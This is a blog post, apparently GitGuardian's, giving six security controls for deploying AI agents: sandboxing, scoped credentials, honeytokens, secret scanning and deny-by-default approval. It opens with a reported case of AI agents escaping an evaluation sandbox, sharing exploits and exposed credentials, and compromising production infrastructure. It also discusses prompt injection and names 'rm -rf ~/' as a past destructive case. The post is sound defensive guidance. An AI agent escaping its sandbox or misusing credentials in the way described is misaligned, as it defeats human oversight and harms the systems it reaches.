&lt;p&gt;The pace is accelerating. In July 2026, OpenAI models running a cybersecurity evaluation escaped their sandbox and compromised Hugging Face's production infrastructure. No attacker was involved. Blocked on their tasks, the agents turned an internal package manager into a message board, shared exploits and exposed credentials over it, and kept going after defenders rebuilt it.&lt;/p&gt;

&lt;p&gt;The case involved sandbox escape and autonomous coordination between agents, with credentials as one thread among several techniques. And that is the thread your existing security program can already pull on.&lt;/p&gt;

&lt;p&gt;AI agents authenticate, manage credentials, read files, execute shell commands, call APIs, and interact with systems on behalf of the teams that deploy them. That makes them a new class of non-human identity (NHI), one that inherits or is issued credentials, often without the governance controls applied to service accounts or API keys. &lt;a href="https://blog.gitguardian.com/ai-agent-identity/" rel="noopener noreferrer"&gt;AI agents are often just using your credentials&lt;/a&gt;, so a misconfigured or compromised agent can reach the same systems those credentials reach. In practice, agentic AI security is largely a non-human identity security problem, which is the angle this guide takes.&lt;/p&gt;

&lt;p&gt;This guide covers the main AI agent security risks and how to secure AI agents in practice, with guidance for engineers, platform teams, and security leads. The focus is practical: concrete controls across the credential lifecycle. Whether you're deploying coding agents, autonomous workflows, or MCP server integrations, the same underlying question applies: what can this agent access, and what happens if it behaves incorrectly?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Part 1 maps the incident landscape across three attack surfaces every deployment exposes: the host and the identity, both somewhat solvable with security practices you already run, and then the agent itself, the new surface, where every input is a potential instruction, and the tooling is still catching up. Read it first for the threat model behind these controls: &lt;a href="https://blog.gitguardian.com/ai-agent-security-six-controls/" rel="noopener noreferrer"&gt;AI Agent Security: Six Controls From Nine Real Incidents&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  AI agent security best practices: the deployment checklist
&lt;/h2&gt;

&lt;p&gt;The six controls below are practical AI agent guardrails and are organized around reducing blast radius, limiting exposure paths, and giving teams visibility before an incident becomes a breach.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Practice&lt;/th&gt;
&lt;th&gt;Risk it addresses&lt;/th&gt;
&lt;th&gt;What "good" looks like&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Run the agent in a sandbox&lt;/td&gt;
&lt;td&gt;Destruction, lateral movement&lt;/td&gt;
&lt;td&gt;Network isolation, restricted filesystem access; project mounted, not the home directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Give each agent a credential scoped to its task&lt;/td&gt;
&lt;td&gt;Over-permissioning, attribution&lt;/td&gt;
&lt;td&gt;One identity and owner per agent; short-lived tokens, minimal scope per task&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keep the agent's configuration and MCP servers out of its reach&lt;/td&gt;
&lt;td&gt;Tool poisoning, configuration tampering&lt;/td&gt;
&lt;td&gt;Managed settings; authenticated, allowlisted MCP servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Record every call, and plant honeytokens&lt;/td&gt;
&lt;td&gt;Credential misuse, detection gaps&lt;/td&gt;
&lt;td&gt;Timestamped log of every tool call; decoy credentials that alert on touch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scan the workspace for secrets before the first run&lt;/td&gt;
&lt;td&gt;Leaked secrets&lt;/td&gt;
&lt;td&gt;Pre-merge and workspace scanning; AI Hooks on prompts and tool output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deny by default&lt;/td&gt;
&lt;td&gt;Approval fatigue, irreversible actions&lt;/td&gt;
&lt;td&gt;Reads allowed; prompts only on write, send, delete, spend&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frmhsgietjdrl995bgrap.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frmhsgietjdrl995bgrap.png" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What these controls can and cannot do
&lt;/h2&gt;

&lt;p&gt;The baselines below are deployable today with current tooling. They cover what they can see, but they are not a complete solution. Detection and scanning tools operate on secrets they can see: a secret hardcoded in a file, a token committed to a repo, a key in a config. But an agent given an environment variable can write code that reads that variable from the runtime environment, and that manipulation happens outside what scanning tools see.&lt;/p&gt;

&lt;p&gt;The more robust control is credential isolation at the proxy level, preventing secrets from reaching agents in the first place. That architecture exists in early tooling such as nono and Bromure, and is not yet widely deployed. Until it is, these baselines are where to start.&lt;/p&gt;

&lt;p&gt;OWASP's &lt;a href="https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/" rel="noopener noreferrer"&gt;2026 LLM Top 10&lt;/a&gt;, validated against 7,714 real-world incidents, ranks Prompt Injection at #1 and Excessive Agency at #3. Excessive Agency (agents configured with too many permissions) made the most significant jump in the new edition, moving from #6. Both risks describe the same failure mode from different angles: an agent that can be manipulated into taking unintended actions, and an agent with enough access to make those actions harmful.&lt;/p&gt;

&lt;p&gt;Prompt injection rarely produces a cleanly attributable public incident: its damage surfaces downstream as stolen credentials, exfiltrated source code, or poisoned build pipelines. The model gets blamed last. The harness gets exploited first.&lt;/p&gt;

&lt;p&gt;Prompt injection cannot be fully prevented in systems that treat language as both instruction and data, but its consequences can be controlled. An agent that processes a malicious instruction but cannot reach production credentials, write to code repositories, or make external network calls is a limited target. An agent with broad permissions is a high-value one. Limiting permissions is the most reliable prompt injection mitigation available, and none of the six controls below prevents the injection itself.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/AI_Agent_Security_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP's AI Agent Security Cheat Sheet&lt;/a&gt; and &lt;a href="https://www.ibm.com/think/tutorials/ai-agent-security" rel="noopener noreferrer"&gt;IBM's AI agent security guide&lt;/a&gt; both cover identity and access management, logging, and input validation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3awjf5oc1ojoqdolibkb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3awjf5oc1ojoqdolibkb.png" alt="6 best practices for AI agent security" width="800" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The six AI agent security controls
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Control 1: Run the agent in a sandbox
&lt;/h3&gt;

&lt;p&gt;Containing what a compromised or misbehaving agent can reach is one of the most reliable controls available. It also spans the widest range of effort, from settings that ship with the tools your team already uses through to full virtual machine isolation, so it is worth being clear about which end you are starting from. An agent running in an isolated environment with restricted network access, limited filesystem scope, and no access to production credentials is much harder to exploit than one with broad system access.&lt;/p&gt;

&lt;p&gt;Sandboxing is particularly important for agents that process untrusted input: repository content from external contributors, emails or tickets from external parties, web content from unknown sources. &lt;a href="https://blog.gitguardian.com/ai-agent-security-six-controls/" rel="noopener noreferrer"&gt;Part 1&lt;/a&gt; covers how instructions hidden in that content turn into incidents.&lt;/p&gt;

&lt;p&gt;Start with native controls before reaching for containers. Most AI coding tools ship with sandbox settings that teams leave at defaults, and turning them on costs nothing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Claude Code:&lt;/strong&gt; never enable --dangerously-skip-permissions, and configure explicit allow and deny rules for the tools the agent can invoke.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cursor:&lt;/strong&gt; use .cursorrules to restrict file access, and disable MCP servers you are not actively using.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Copilot:&lt;/strong&gt; workspace trust settings control what the agent can read and run, so keep them scoped to the current project.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When native controls aren't sufficient, Docker Sandboxes runs each agent session in a lightweight VM with its own filesystem and network namespace, so credentials and state from one session can't reach another. This is credential isolation at the runtime level, a stronger control than process-level sandboxing. Whatever you use, mount the project directory, not the home directory.&lt;/p&gt;

&lt;p&gt;Microsegmentation applies the same principle at the network level: agents should be able to reach the specific services they need and nothing else. If a coding agent needs to call a specific API, give it a credential scoped to that API and network access restricted to that endpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  Control 2: Give each agent a credential scoped to its task
&lt;/h3&gt;

&lt;p&gt;Every AI agent that authenticates to a service, uses a credential, or takes an action on a system should have a unique identity, an assigned owner, and a documented credential lifecycle, just as a service account is managed.&lt;/p&gt;

&lt;p&gt;In practice, this means assigning dedicated credentials per agent rather than sharing credentials across multiple agents or reusing developer tokens. It means knowing who owns each credential, what it can access, and when it was last reviewed. It means tracking agent identities the same way you track service accounts: discovering what exists, attributing each identity to an owner, scoring its risk (overprivileged? stale? unmanaged?), and inventorying it so nothing operates invisibly.&lt;/p&gt;

&lt;p&gt;This is the non-human identity governance model. It's not a tool that does these things automatically. It's the mental model that makes the other controls coherent.&lt;/p&gt;

&lt;p&gt;The right governance treatment depends on agent type:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Autonomous agents&lt;/strong&gt; (pipeline bots, scheduled task runners, CI/CD workers) need dedicated NHI credentials per agent with a named owner, the same as any service account&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interactive coding agents&lt;/strong&gt; like Claude Code or Cursor usually run as the developer today. When the agent runs as the user, the audit log records the user, and nobody can tell afterwards which actions were the user's and which were the agent's. Aim for a dedicated identity here too. Where the tool can't support one yet, scope the developer credentials it can reach tightly and keep the agent in your inventory.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The fastest way to reduce blast radius is to reduce the scope of what an agent can reach. An agent running with admin-level credentials is a significantly higher-risk target than one running with a read-only token scoped to a specific repository. For more, see &lt;a href="https://blog.gitguardian.com/agentic-ai-security-blast-radius/" rel="noopener noreferrer"&gt;what actually defines an agent's blast radius&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Four practices reduce over-permissioning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use short-lived credentials rather than long-lived static tokens wherever the service supports them.&lt;/li&gt;
&lt;li&gt;Scope credentials to the minimum access the agent actually needs for its task.&lt;/li&gt;
&lt;li&gt;Avoid sharing credentials across multiple agents, so blast radius stays separate.&lt;/li&gt;
&lt;li&gt;Rotate long-lived credentials on a schedule. Agent credentials that are never rotated become more valuable to attackers over time.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For teams managing large numbers of agent identities, this is where an NHI inventory becomes operationally useful. An inventory that surfaces which agents hold overprivileged credentials and flags stale or unattributed identities turns a manual audit into an automated flag.&lt;/p&gt;

&lt;p&gt;Where you store agent secrets determines how much blast radius you are accepting before a breach even occurs. Think of it as a maturity ladder:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Level 1 (worst):&lt;/strong&gt; plaintext .env files on disk, the first thing an agent reads when it starts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level 2:&lt;/strong&gt; a local password manager, where the secret has to be explicitly requested.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level 3:&lt;/strong&gt; injection at execution time, where a vault delivers the secret at session start or a credential proxy swaps it in on the wire, and the agent never holds the real value.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level 4 (best):&lt;/strong&gt; ephemeral, per-request tokens that expire immediately. You cannot leak what no longer exists.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most organizations are still at Level 1 or 2. Moving toward injection at execution and ephemeral credentials is the single highest-leverage change in this category.&lt;/p&gt;

&lt;p&gt;It is also the only move on this list that answers the limitation flagged earlier, because a secret that is never written to disk is not something an agent can read, whether or not a scanner would have caught it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4u7a85whckslbec30zjp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4u7a85whckslbec30zjp.png" alt="Maturity ladder for storing agent secrets, from plaintext files to ephemeral tokens" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Control 3: Keep the agent's configuration and MCP servers out of its reach
&lt;/h3&gt;

&lt;p&gt;The agent reads project-level files such as .claude/settings.json and .mcp.json as instructions, and an untrusted repository can set them. Keep that configuration where the agent cannot write: pin the config file so it cannot be modified at runtime, never set enableAllProjectMcpServers to true, and let managed settings take precedence over anything in a repository.&lt;/p&gt;

&lt;p&gt;MCP servers extend what an AI agent can do. Each server installed in a developer environment is also a new access point: a tool that can reach systems, read files, or take actions depending on its configuration.&lt;/p&gt;

&lt;p&gt;MCP server security follows the standard practice for new software: know what's installed, where it comes from, and what it can access. For MCP servers, that means maintaining an inventory of which servers are running across the developer fleet, validating that each server comes from a trusted source, and scoping its access to what the agent actually needs.&lt;/p&gt;

&lt;p&gt;Authentication matters at the connection level. MCP servers that accept connections without requiring authentication, or that run with overly broad permissions, expose exactly the kind of attack surface that makes prompt injection dangerous. Even if an agent is manipulated into calling a tool, the tool itself should only be able to do what it's explicitly configured to do.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://docs.gitguardian.com/ggmcp-docs/overview" rel="noopener noreferrer"&gt;GitGuardian MCP Server documentation&lt;/a&gt; covers the security model for server-side scanning without exposing secret values to the model.&lt;/p&gt;

&lt;h3&gt;
  
  
  Control 4: Record every call, and plant honeytokens
&lt;/h3&gt;

&lt;p&gt;An agent that takes actions without leaving a record is an agent you can't investigate when something goes wrong. Logging every tool call, every outbound connection, every credential use, and every output gives security teams the signal needed to detect anomalies, reconstruct incidents, and attribute actions to specific agents.&lt;/p&gt;

&lt;p&gt;The logging requirements for AI agents mirror those for service accounts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Timestamps&lt;/li&gt;
&lt;li&gt;Identities&lt;/li&gt;
&lt;li&gt;Actions&lt;/li&gt;
&lt;li&gt;Targets&lt;/li&gt;
&lt;li&gt;Outcomes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The additional complexity is that an agent's actions can span multiple systems within a single session. A log that captures each step in that chain is far more useful than one that only records the outcome. Send it to whatever the security team already watches.&lt;/p&gt;

&lt;p&gt;Behavioral monitoring turns log data into an actionable signal. Unusual patterns like an agent accessing systems it doesn't normally touch, an unusually large number of API calls, or credential use from an unexpected location should generate alerts, not just log entries.&lt;/p&gt;

&lt;p&gt;One caveat about the tooling you already run: endpoint detection and response was built around human tempo. An agent reads a hundred files in a second, issues commands without hesitating, and runs at three in the morning because a pipeline triggered it. Activity that would be flagged instantly if a person did it can pass as ordinary automation, and activity that is entirely normal for an agent can look like an intrusion. &lt;a href="https://blog.gitguardian.com/ai-agent-security-six-controls/" rel="noopener noreferrer"&gt;Part 1&lt;/a&gt; goes deeper on why detection catches less for agents than for people.&lt;/p&gt;

&lt;p&gt;That is where honeytokens earn their place. They fire when something touches them, whatever the baseline.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.gitguardian.com/how-to-add-gitguardian-honeytokens-in-ci-cd-pipelines/" rel="noopener noreferrer"&gt;A honeytoken&lt;/a&gt; is a decoy credential: non-functional, but indistinguishable from a real one. Planted in locations where a compromised agent or attacker is likely to search, like configuration files, credential directories, and shell history, a honeytoken fires an alert the moment something touches it.&lt;/p&gt;

&lt;p&gt;The value is in the asymmetry. An attacker or compromised process that reaches a honeytoken has revealed itself before it can do anything with the credential. That's detection before impact.&lt;/p&gt;

&lt;p&gt;In practice, honeytokens complement standard secret scanning. Scanning catches real credentials before they're exposed. Honeytokens catch unauthorized access after something or someone has already gained access to the environment.&lt;/p&gt;

&lt;p&gt;GitGuardian's Developer Endpoint Protection includes honeytoken planting on developer endpoints, and the GitGuardian MCP Server allows developers to generate and deploy decoy credentials directly from their AI coding environment. When a honeytoken fires, the alert includes where the token was placed and what triggered it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Control 5: Scan the workspace for secrets before the first run
&lt;/h3&gt;

&lt;p&gt;AI coding assistants are a growing secret-exposure vector. GitGuardian's State of Secrets Sprawl 2026 found that Claude Code-assisted commits introduced secrets at 3.2%, double the 1.5% baseline across all public GitHub repositories. The most common pattern: agents write code, copy patterns from their context, and sometimes those patterns include API keys or tokens from local files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa6wfkimfdgnz21cmo7h1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa6wfkimfdgnz21cmo7h1.png" alt="Chart showing Claude Code commits leak secrets at 3.2%, double the 1.5% baseline" width="799" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scan before the first run, and again when the workspace changes: anything the agent can read is part of its discovery surface. Two controls address this directly. The first is pre-merge secret scanning on all commits, regardless of whether a human or an AI coding assistant authored them. Tools like ggshield run as a pre-commit hook or CI check and catch hardcoded secrets before they reach the repository. The second is &lt;a href="https://blog.gitguardian.com/shifting-security-left-for-ai-agents-enforcing-ai-generated-code-security-with-gitguardian-mcp/" rel="noopener noreferrer"&gt;scanning AI-generated code in real time with an MCP server&lt;/a&gt;, which intercepts code at the point of generation rather than at the point of commit.&lt;/p&gt;

&lt;p&gt;Agent configurations deserve the same scrutiny. GitGuardian found 24,008 secrets in public MCP configuration files in 2025, with 8.8% of those secrets still valid. Config files for Claude Code, Cursor, VS Code, and other AI development tools routinely contain tokens and API keys that developers added during setup. Those files need to be in scanning scope, not just source code.&lt;/p&gt;

&lt;p&gt;For a full treatment of &lt;a href="https://blog.gitguardian.com/ai-agents-security-for-developers-dont-let-your-agents-become-a-liability/" rel="noopener noreferrer"&gt;how a coding agent can misuse an unscoped credential&lt;/a&gt;, the patterns are well-documented. The common thread in most cases is the same: the agent didn't steal the credential. It was already there.&lt;/p&gt;

&lt;p&gt;Scanning also has to cover what the agent reads and produces while it runs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AI Hooks:&lt;/strong&gt; integrations that scan agent prompts and tool calls for secrets before they're processed or executed. GitGuardian's AI Hooks run inside Claude Code, Cursor, VS Code with Copilot, and Codex, inspecting prompts before they reach the model and file reads, shell commands, and MCP calls before execution. When a secret is detected in a prompt, the developer sees a warning before the prompt is sent. This is not prompt injection prevention. It prevents real credentials from entering agent context in the first place.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Output scanning.&lt;/strong&gt; Agents that generate code or tool output should have that output reviewed for secrets before it's committed, logged, or sent to downstream systems. The same scanning that catches hardcoded secrets in human-written code applies to AI-generated output.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Control 6: Deny by default, and approve only what can't be undone
&lt;/h3&gt;

&lt;p&gt;Automation reduces the time between an agent decision and its consequences. That's the point. But some actions like payments, deletions, deployments, and modifications to production systems are irreversible enough that the cost of an error outweighs the speed gain from automation.&lt;/p&gt;

&lt;p&gt;The practical control is a human approval gate on actions that meet a predefined threshold. The agent can draft the action, prepare the payload, and queue the request. Execution waits for explicit approval.&lt;/p&gt;

&lt;p&gt;A useful default: any action that can't be undone without significant effort, or that affects a production system, warrants a checkpoint. This is a deliberate decision about where to keep judgment in the loop, not a limitation of the technology.&lt;/p&gt;

&lt;p&gt;Approving everything is the opposite mistake. A harness that prompts on every call trains people to click approve, and the rm -rf ~/ case in &lt;a href="https://blog.gitguardian.com/ai-agent-security-six-controls/" rel="noopener noreferrer"&gt;Part 1&lt;/a&gt; shows what that costs. Deny by default, allow reads, and prompt only on write, send, delete, and spend, so the prompts that remain are ones someone can afford to read.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7j1d1zk49wha1w5xk7k3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7j1d1zk49wha1w5xk7k3.png" alt="Individual vs. organization-level AI agent security controls compared" width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every control above can be applied by one engineer on one machine. Applying them across an organization is a different problem, because a control an individual can switch on is a control an individual can also switch off.&lt;/p&gt;

&lt;h3&gt;
  
  
  For a single developer
&lt;/h3&gt;

&lt;p&gt;The work is local and reversible in a settings file: enable the native sandbox, keep an allowlist of MCP servers, use pre-tool hooks, and keep standing credentials off disk.&lt;/p&gt;

&lt;h3&gt;
  
  
  For an organization
&lt;/h3&gt;

&lt;p&gt;The same controls have to survive contact with several hundred engineers who did not choose them:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Enforce configuration through MDM (control 3):&lt;/strong&gt; Push agent configuration through MDM rather than asking developers to apply it, so coverage becomes a property of deployment rather than a request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lock the denylist (control 6):&lt;/strong&gt; Make the denylist non-overridable at the enterprise level. Anything a developer can relax under deadline pressure eventually gets relaxed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broker credentials centrally (control 2):&lt;/strong&gt; Broker credentials centrally instead of distributing them. This is what moves an organization up the storage ladder without asking every team to redesign its own workflow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Centralize agent telemetry (control 4):&lt;/strong&gt; Collect agent telemetry centrally, through an OpenTelemetry collector into whatever the security team already watches, rather than leaving logs on the machines that produced them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write the runbook first:&lt;/strong&gt; Write the agent incident response runbook before you need it. The first question in an agent incident (which credentials did this agent hold, and what did they reach?) is far harder to answer under pressure than it looks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That split maps onto teams. Governance decides what agents are permitted to do, IT ships the configuration that enforces it, and the blue team gets agent activity into the SIEM. None of the three works without the other two.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secure AI agent deployment is an identity problem
&lt;/h2&gt;

&lt;p&gt;The organizations getting AI agent security right understand what AI agents actually are: authenticated entities that hold credentials, take actions on systems, and need governance that reflects that reality.&lt;/p&gt;

&lt;p&gt;In practice: identity controls on every agent that touches a system (unique credentials, documented owners, tracked lifecycles); scanning of the code agents write, the prompts they receive, and the configurations they run from; an inventory of MCP servers installed across the developer fleet and the access each carries; and human checkpoints on decisions that can't be undone.&lt;/p&gt;

&lt;p&gt;Deployment speed and security aren't mutually exclusive. But treating agents as chatbots while giving them service-account-level access is a miscalibration that's already producing the incidents described above.&lt;/p&gt;

&lt;p&gt;As Chris Hughes of Resilient Cyber put it, reviewing OWASP's real-incident data: &lt;em&gt;"It is time to stop treating model choice as the significant security decision and instead treat the harness as an asset class security needs to be deeply familiar with."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The harness is the environment the agent runs in: its credentials, permissions, and tool integrations. That means inventorying it, assigning it an owner, and enforcing controls deterministically, not hoping the model refuses the wrong instructions on its own.&lt;/p&gt;

&lt;p&gt;For a full framework for treating the agent's environment as a security boundary, read &lt;a href="https://gitguardian.com/whitepapers/secure-coding-agent-use-for-developers" rel="noopener noreferrer"&gt;GitGuardian's secure coding agent whitepaper&lt;/a&gt;, which covers the controls that belong at each layer of the deployment stack.&lt;/p&gt;

&lt;p&gt;Also, learn how GitGuardian's &lt;a href="https://gitguardian.com/agentic-ai-security" rel="noopener noreferrer"&gt;Agentic AI Security&lt;/a&gt; unifies Secrets Security, Developer Endpoint Protection, and NHI Governance for teams securing AI agent deployments.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;How do I secure AI agents?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Start by treating each agent as a non-human identity: assign it a unique credential, document who owns it, and apply least-privilege scoping. Scan the code it generates for hardcoded secrets before merge. Deploy honeytokens in environments where agents operate so you detect unauthorized credential access early. For agents that process untrusted input, sandbox the execution environment and require human approval for irreversible actions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How secure are AI agents?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That depends almost entirely on how they're deployed. An agent running with scoped credentials, sandboxed from production systems, and monitored for anomalous behavior is a manageable risk. An agent configured with admin-level tokens, unrestricted network access, and no logging is a high-value target.&lt;/p&gt;

&lt;p&gt;The technology is not inherently safe or unsafe. The deployment posture determines the risk profile.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which AI agent is most secure?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No AI agent is inherently secure. Security is a property of the deployment: the credentials in use, the access controls in place, the monitoring coverage, and the human oversight applied to high-risk actions. An agent from a security-conscious provider can still be deployed unsafely, and one from a less established provider can be deployed with enough controls to limit risk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the biggest security risks of AI agents?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The three most common are credential over-permissioning (agents configured with broader access than they need), leaked secrets in AI-generated code (agents copy patterns from their context, including API keys), and prompt injection (malicious instructions embedded in data an agent processes).&lt;/p&gt;

&lt;p&gt;The risk that receives the least attention is credential lifecycle governance: agent credentials that are never reviewed, rotated, or attributed to an owner become standing vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What best practices should be followed when using AI agents?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The six that matter most: run the agent in a sandbox; give each agent a credential scoped to its task and keep every other credential out of its reach; keep its configuration and MCP servers where it cannot write; record every tool call, with honeytokens as a tripwire; scan the workspace for secrets before the first run; and deny by default, prompting only on write, send, delete, and spend.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is agentic AI a threat?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Agentic AI is a capability that introduces security risk if deployed without adequate controls, just as network access, API keys, and automated pipelines do when ungoverned. The threat isn't the technology. It's the mismatch between the access AI agents are being given and the governance structures being applied to them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you manage secrets and API keys for AI agents?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Treat secrets and API keys used by AI agents as non-human identity credentials: unique per agent, scoped to minimum access, and subject to regular review.&lt;/p&gt;

&lt;p&gt;Keep credentials out of places the agent can read, such as plaintext .env files, configuration files, and shell history. Where possible, have a vault inject secrets at execution time or issue short-lived, per-request tokens, so nothing persists for the agent to read or leak. Use secret scanning to catch accidental exposure in AI-generated code, and deploy honeytokens alongside real credentials to detect unauthorized access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is MCP (Model Context Protocol) secure, and how do you secure an MCP server?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;MCP is a protocol, not a security boundary. The security properties of an MCP server depend on how it's configured: whether connections require authentication, what actions it exposes, and what access those actions carry.&lt;/p&gt;

&lt;p&gt;To secure an MCP server, require authentication on all connections, scope each server's access to the specific resources it needs, maintain an inventory of which servers are installed across the developer fleet, and include MCP configuration files in secret scanning scope. In 2025, GitGuardian found 24,008 secrets in public MCP configuration files, many of them developer defaults never reviewed before being pushed to shared repositories.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devsecops</category>
      <category>agentsecurity</category>
    </item>
    <item>
      <title>AI Agent Security: Six Controls From Nine Real Incidents</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Thu, 15 Oct 2026 13:23:45 +0000</pubDate>
      <link>https://dev.to/gitguardian/ai-agent-security-six-controls-from-nine-real-incidents-19bf</link>
      <guid>https://dev.to/gitguardian/ai-agent-security-six-controls-from-nine-real-incidents-19bf</guid>
